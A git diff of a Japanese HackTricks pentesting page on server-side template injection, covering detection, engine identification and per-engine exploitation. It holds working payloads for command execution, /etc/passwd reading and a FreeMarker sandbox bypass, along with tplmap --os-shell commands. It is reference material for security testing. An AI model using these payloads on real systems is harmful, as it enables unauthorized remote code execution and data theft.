* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,36 +1,36 @@
|
|||
# SSTI (サーバーサイドテンプレートインジェクション)
|
||||
# SSTI (Server Side Template Injection)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術知識の普及を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## サーバーサイドテンプレートインジェクションとは何ですか？
|
||||
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者がネイティブテンプレート構文を使用してテンプレートに悪意のあるペイロードを注入し、それがサーバーサイドで実行されるときに発生します。
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者が悪意のあるペイロードをテンプレートに注入し、それがサーバーサイドで実行されることができるように、ネイティブテンプレート構文を使用できる場合に発生します。
|
||||
|
||||
**テンプレートエンジン**は、**固定**テンプレートと**変動**データを**組み合わせて** **ウェブページを生成する**ように設計されています。サーバーサイドテンプレートインジェクション攻撃は、**ユーザー入力**がデータとして渡されるのではなく、直接**テンプレートに連結される**ときに発生する可能性があります。これにより、攻撃者は**任意のテンプレートディレクティブを注入して**テンプレートエンジンを操作し、しばしば**サーバーの完全な制御を取る**ことを可能にします。
|
||||
**テンプレートエンジン**は、**固定**テンプレートと**不安定**データを**組み合わせて**ウェブページを生成するように設計されています。サーバーサイドテンプレートインジェクション攻撃は、**ユーザー入力**がデータとして渡されるのではなく、直接**テンプレートに連結**される場合に発生します。これにより、攻撃者は任意のテンプレートディレクティブを注入してテンプレートエンジンを操作し、しばしば**サーバーの完全な制御を取る**ことができます。
|
||||
|
||||
脆弱なコードの例を以下に示します：
|
||||
脆弱なコードの例は次のとおりです：
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```
|
||||
前の例では、`GET` パラメータ `name` を使用して**テンプレートの一部**が**動的に生成**されています。テンプレート構文はサーバー側で評価されるため、攻撃者は以下のように `name` パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置する可能性があります：
|
||||
前の例では、**テンプレートの一部**が`GET`パラメータ`name`を使用して**動的に生成**されています。テンプレート構文がサーバーサイドで評価されるため、これにより攻撃者が`name`パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置する可能性があります。
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
|
|
@ -40,13 +40,13 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
|
||||
### 検出
|
||||
|
||||
あらゆる脆弱性と同様に、最初のステップはそれを見つけることです。おそらく最も単純な初期アプローチは、テンプレート式で一般的に使用される特殊文字のシーケンスを注入して**テンプレートをファジングする**ことです。例えば、ポリグロット**`${{<%[%'"}}%\`**です。\
|
||||
サーバーが脆弱であるかどうかを確認するためには、パラメーターに**通常のデータ**と**与えられたペイロード**の応答の違いを**見分ける**必要があります。\
|
||||
**エラーが発生した場合**、**サーバーが脆弱である**ことと、どの**エンジンが動作しているか**を簡単に把握できます。しかし、与えられたペイロードを**反映することを期待していた**場合に、それが**反映されていない**、または応答にいくつかの**文字が欠けている**場合にも、脆弱なサーバーを見つけることができます。
|
||||
どんな脆弱性でも、悪用に向けた最初のステップはそれを見つけることです。おそらく最も簡単な初期アプローチは、テンプレートに一般的に使用される特殊文字のシーケンスをインジェクトして**テンプレートをファジング**することです。例えば、ポリグロットの**`${{<%[%'"}}%\`**などです。\
|
||||
サーバーが脆弱かどうかを確認するためには、パラメーターに**通常のデータ**を入力した場合と**指定されたペイロード**を入力した場合の応答の**違いを見つける**必要があります。\
|
||||
**エラーが発生**すると、**サーバーが脆弱である**ことやどの**エンジンが実行されている**かを簡単に特定できます。また、指定されたペイロードを**反映**することを**期待**していた場合に**反映されていない**場合や応答に**一部の文字が欠落**している場合にも、脆弱なサーバーを見つけることができます。
|
||||
|
||||
**検出 - プレーンテキストコンテキスト**
|
||||
|
||||
与えられた入力は**レンダリングされて応答に反映されています**。これは簡単に[**XSS**](../xss-cross-site-scripting/)脆弱性と**間違えられがちです**が、テンプレート式内で**数学的な操作**を試みることで簡単に区別できます。
|
||||
指定された入力が**レンダリングおよび反映**されて応答に表示されます。これは簡単に単純な[**XSS**](../xss-cross-site-scripting/)脆弱性と**誤解**されることがありますが、テンプレート式内で**数学演算**を設定しようとすると区別が容易です。
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
|
|
@ -55,23 +55,23 @@ ${{7*7}}
|
|||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
**検出 - コードコンテキスト**
|
||||
**検出 - コードの文脈**
|
||||
|
||||
これらのケースでは、**ユーザー入力**が**テンプレート式**の**内部**に配置されています：
|
||||
これらのケースでは、**ユーザー入力** が **テンプレート式** の中に配置されています。
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
以下は、ページにアクセスするURLが似ている可能性があります：`http://vulnerable-website.com/?greeting=data.username`
|
||||
URLアクセスは次のようになる可能性があります：`http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
もし**`greeting`** パラメータを**異なる値**に**変更**すると、**レスポンスにはユーザー名が含まれません**が、次のようにアクセスすると：`http://vulnerable-website.com/?greeting=data.username}}hello` その場合、**レスポンスにはユーザー名が含まれます**（もし閉じテンプレート式の文字が **`}}`** だった場合）。\
|
||||
これらのテスト中に**エラー**が発生した場合、サーバーが脆弱であることを見つけるのが容易になります。
|
||||
**`greeting`** パラメータを**異なる値**に**変更**すると、**レスポンスにはユーザー名が含まれません**が、`http://vulnerable-website.com/?greeting=data.username}}hello` のようにアクセスすると、**レスポンスにユーザー名が含まれます**（終了テンプレート式の文字が **`}}`** の場合）。\
|
||||
これらのテスト中に**エラー**が発生した場合、サーバーが脆弱であることがわかりやすくなります。
|
||||
|
||||
### 識別
|
||||
### 特定
|
||||
|
||||
テンプレートインジェクションの可能性を検出したら、次のステップはテンプレートエンジンを識別することです。\
|
||||
多くのテンプレート言語がありますが、多くはHTML文字と衝突しないように特別に選ばれた非常に似た構文を使用しています。
|
||||
テンプレートインジェクションの潜在性を検出したら、次のステップはテンプレートエンジンを特定することです。\
|
||||
多くのテンプレート言語が存在しますが、多くはHTML文字と衝突しないように特に選択された非常に似た構文を使用しています。
|
||||
|
||||
運が良ければ、サーバーは**エラーを出力しており**、エラーの**中に**使用されている**エンジン**を見つけることができるでしょう。エラーを引き起こす可能性のあるいくつかのペイロードは以下の通りです：
|
||||
サーバーが**エラーを表示**している場合、エラー内で使用されている**エンジン**を見つけることができます。エラーを引き起こす可能性のあるいくつかのペイロード：
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
|
|
@ -79,7 +79,7 @@ engine.render("Hello {{"+greeting+"}}", data)
|
|||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
それ以外の場合は、手動で**言語固有のペイロードをテスト**し、テンプレートエンジンによってどのように解釈されるかを研究する必要があります。これを行う一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学的操作を注入し、それらが正常に評価されるかどうかを観察することです。このプロセスを支援するために、以下のような意思決定ツリーを使用できます：
|
||||
それ以外の場合は、異なる言語固有のペイロードを手動でテストし、テンプレートエンジンによってどのように解釈されるかを調査する必要があります。これを行う一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学演算を注入することです。それらが正常に評価されるかどうかを観察できます。このプロセスを支援するために、次のような意思決定ツリーを使用できます：
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -87,30 +87,30 @@ engine.render("Hello {{"+greeting+"}}", data)
|
|||
|
||||
**読む**
|
||||
|
||||
テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。関心のある主な領域は：
|
||||
テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。興味のある主要な領域は次のとおりです：
|
||||
|
||||
* 基本構文をカバーする「テンプレート作者のための」セクション。
|
||||
* 「セキュリティ上の考慮事項」 - アプリを開発した人がこれを読んでいない可能性があり、役立つヒントが含まれているかもしれません。
|
||||
* 組み込みのメソッド、関数、フィルター、変数のリスト。
|
||||
* 基本構文をカバーする「テンプレート作成者向け」セクション。
|
||||
* 'セキュリティに関する考慮事項' - テスト中のアプリを開発した人がこれを読んでいない可能性が高く、有用なヒントが含まれているかもしれません。
|
||||
* 組み込みメソッド、関数、フィルター、および変数のリスト。
|
||||
* 拡張機能/プラグインのリスト - いくつかはデフォルトで有効になっているかもしれません。
|
||||
|
||||
**探索**
|
||||
|
||||
自明な悪用が提示されていない場合、次のステップは**環境を探索**して、正確に**アクセスできるもの**を見つけることです。テンプレートエンジンによって提供される**デフォルトオブジェクト**と、開発者によってテンプレートに渡される**アプリケーション固有のオブジェクト**の両方を見つけることができるでしょう。多くのテンプレートシステムは、スコープ内のすべてを含む「self」または名前空間オブジェクトを公開し、オブジェクトの属性とメソッドをリストする慣用的な方法を提供します。
|
||||
脆弱性が見つからない場合、次のステップは**環境を探索**して、**アクセス可能なもの**を正確に把握することです。テンプレートエンジンによって提供される**デフォルトオブジェクト**と、開発者がテンプレートに渡す**アプリケーション固有のオブジェクト**の両方を見つけることができます。多くのテンプレートシステムは、スコープ内のすべてを含む 'self' や名前空間オブジェクトを公開し、オブジェクトの属性やメソッドをリストする方法があります。
|
||||
|
||||
組み込みのselfオブジェクトがない場合は、[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)とBurp Intruderのワードリストコレクションを使用して変数名をブルートフォースする必要があります。
|
||||
組み込みの self オブジェクトがない場合は、[SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) と Burp Intruder のワードリストコレクションを使用して変数名をブルートフォースする必要があります。
|
||||
|
||||
開発者によって提供されたオブジェクトは、特に機密情報を含む可能性が高く、アプリケーション内の異なるテンプレート間で変わる可能性があるため、このプロセスは理想的には個々のテンプレートごとに適用されるべきです。
|
||||
開発者が提供したオブジェクトには、機密情報が含まれる可能性が高く、アプリケーション内の異なるテンプレート間で異なる場合があるため、このプロセスは理想的にはすべての異なるテンプレートに個別に適用されるべきです。
|
||||
|
||||
**攻撃**
|
||||
|
||||
この時点で、利用可能な**攻撃面についてしっかりとした考え**を持っているはずであり、伝統的なセキュリティ監査技術を使用して、悪用可能な脆弱性があるかどうか各機能をレビューすることができます。これを広範なアプリケーションの文脈でアプローチすることが重要です - 一部の機能は、アプリケーション固有の機能を悪用するために使用できます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクトの作成、任意のファイルの読み書き、リモートファイルのインクルード、情報漏洩、権限昇格の脆弱性をトリガーします。
|
||||
この時点で、利用可能な攻撃対象について**明確なアイデア**を持ち、各機能を検討して脆弱性を悪用できるかどうかを確認できるはずです。広範なアプリケーションのコンテキストでアプローチすることが重要です - 一部の機能はアプリケーション固有の機能を悪用するために使用できます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクト作成、任意のファイルの読み書き、リモートファイルのインクルード、情報開示、特権昇格の脆弱性をトリガーするために使用します。
|
||||
|
||||
## ツール
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
効率的なSSTI + CSTIスキャナーで、新しいポリグロットを利用しています。
|
||||
新しいポリグロットを利用する効率的なSSTI + CSTIスキャナー
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
|
@ -127,15 +127,15 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
|||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [テンプレートインジェクション表](https://github.com/Hackmanit/template-injection-table)
|
||||
### [テンプレートインジェクションテーブル](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
44の最も重要なテンプレートエンジンの予想される応答とともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブな表。
|
||||
44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブルです。
|
||||
|
||||
## エクスプロイト
|
||||
## Exploits
|
||||
|
||||
### ジェネリック
|
||||
### 一般的な
|
||||
|
||||
この**ワードリスト**では、以下に挙げるエンジンの環境で**定義されている変数**を見つけることができます：
|
||||
この**ワードリスト**には、以下で言及されているエンジンの環境で定義された**変数**が含まれています:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
|
||||
|
|
@ -161,12 +161,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
[https://try.freemarker.apache.org](https://try.freemarker.apache.org) でペイロードを試すことができます。
|
||||
あなたは、[https://try.freemarker.apache.org](https://try.freemarker.apache.org) でペイロードを試すことができます。
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (レガシー)`
|
||||
* `${7*'7'} 何もなし`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
|
|
@ -175,9 +175,9 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - サンドボックスバイパス**
|
||||
**Freemarker - サンドボックス回避**
|
||||
|
||||
⚠️ Freemarkerのバージョンが2.3.30未満の場合にのみ機能します
|
||||
⚠️ Freemarkerのバージョン2.3.30未満でのみ機能します
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
|
@ -185,12 +185,10 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||||
${dwf.newInstance(ec,null)("id")}
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* FreeMarkerのセクションについては[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)を参照してください。
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクションを参照してください。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
|
|
@ -203,21 +201,21 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* Velocityセクション [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のVelocityセクション
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf (Java)
|
||||
|
||||
SSTIの典型的なテスト表現は`${7*7}`です。この表現はThymeleafでも機能します。リモートコード実行を達成したい場合、以下のテスト表現のいずれかを使用できます：
|
||||
SSTIの典型的なテスト式は`${7*7}`です。この式はThymeleafでも機能します。リモートコード実行を達成したい場合、次のテスト式のいずれかを使用できます:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
|
||||
しかし、前に述べたように、表現は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で表現を使用する必要がある場合、Thymeleafは_式のインライン化_をサポートしています。この機能を使用するには、表現を`[[...]]`または`[(...)]`（特殊記号をエスケープする必要があるかどうかに応じて選択）の中に置く必要があります。したがって、ThymeleafのためのシンプルなSSTI検出ペイロードは`[[${7*7}]]`になります。
|
||||
ただし、前述のように、式は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で式を使用する必要がある場合、Thymeleafは_式のインライン化_をサポートしています。この機能を使用するには、式を`[[...]]`または`[(...)]`内に配置する必要があります（特殊記号をエスケープする必要があるかどうかに応じて、どちらかを選択します）。したがって、Thymeleafに対する単純なSSTI検出ペイロードは`[[${7*7}]]`となります。
|
||||
|
||||
しかし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成されたときに発生します。デフォルトでは、Thymeleafはそのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成される必要があります。したがって、開発者が_その場で_文字列からテンプレートを作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常にまれにしか発生しません。
|
||||
ただし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成される場合に発生します。Thymeleafはデフォルトではこのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成する必要があります。したがって、開発者が文字列からテンプレートを動的に作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常に稀にしか発生します。
|
||||
|
||||
Thymeleafテンプレートエンジンのドキュメントをより深く見ると、_**式の前処理**_と呼ばれる興味深い機能が見つかります。二重のアンダースコア(`__...__`)の間に置かれた表現は前処理され、前処理の結果が通常の処理中に表現の一部として使用されます。以下はThymeleafドキュメントからの公式な例です：
|
||||
Thymeleafテンプレートエンジンのドキュメントを詳しく見てみると、_**式の前処理**_という興味深い機能が見つかります。アンダースコア間に配置された式（`__...__`）は前処理され、前処理の結果が通常の処理中に式の一部として使用されます。以下はThymeleafドキュメントからの公式例です:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
|
@ -243,13 +241,13 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```
|
||||
**フィルターをバイパスする**
|
||||
|
||||
複数の変数式を使用できます。`${...}` が機能しない場合は、`#{...}`, `*{...}`, `@{...}`, または `~{...}` を試してください。
|
||||
複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してみてください。
|
||||
|
||||
* `/etc/passwd` を読む
|
||||
* `/etc/passwd`を読む
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* ペイロード生成のためのカスタムスクリプト
|
||||
* ペイロード生成用のカスタムスクリプト
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
|
@ -282,7 +280,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Spring View 操作 (Java)
|
||||
### Spring View Manipulation (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
|
@ -297,7 +295,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebbleの古いバージョン ( < バージョン 3.0.9):
|
||||
Pebbleの古いバージョン（バージョン3.0.9未満）：
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
|
@ -324,15 +322,17 @@ Pebbleの古いバージョン ( < バージョン 3.0.9):
|
|||
.newInstance(([bytes]).toArray()) }}
|
||||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション（SSTI）攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、慎重に入力を検証し、信頼できないデータをテンプレートに直接挿入しないようにしてください。
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で利用可能です。
|
||||
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
|
||||
|
||||
**Jinjava - コマンド実行**
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正されました。
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正済み
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
|
@ -348,9 +348,9 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` ステートメント区切り文字
|
||||
* `{{ }}` 式区切り文字
|
||||
* `{# #}` コメント区切り文字
|
||||
* `{% %}` ステートメントの区切り記号
|
||||
* `{{ }}` 式の区切り記号
|
||||
* `{# #}` コメントの区切り記号
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
|
@ -358,7 +358,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[Jinjavaプロジェクト on Github](https://github.com/HubSpot/jinjava/)を発見。
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、[Github 上の Jinjava プロジェクト](https://github.com/HubSpot/jinjava/) を発見しました。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
|
@ -415,8 +415,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
ELは、プレゼンテーション層（ウェブページ）がアプリケーションロジック（管理ビーンズ）と通信するための重要なメカニズムを提供します。ELは、JavaServer Faces技術、JavaServer Pages（JSP）技術、Java EEのコンテキストと依存性注入（CDI）など、**複数のJavaEE技術**によって使用されています。\
|
||||
**ELインタープリタの悪用**についてもっと学ぶには、以下のページを確認してください：
|
||||
ELは、プレゼンテーション層（Webページ）がアプリケーションロジック（管理されたBean）と通信するための重要なメカニズムを提供します。ELは、JavaServer Facesテクノロジー、JavaServer Pages（JSP）テクノロジー、およびJava EEのContexts and Dependency Injection for Java EE（CDI）など、**いくつかのJavaEEテクノロジー**で使用されています。\
|
||||
**ELインタプリタの悪用**について詳しく学ぶには、次のページをチェックしてください：
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
|
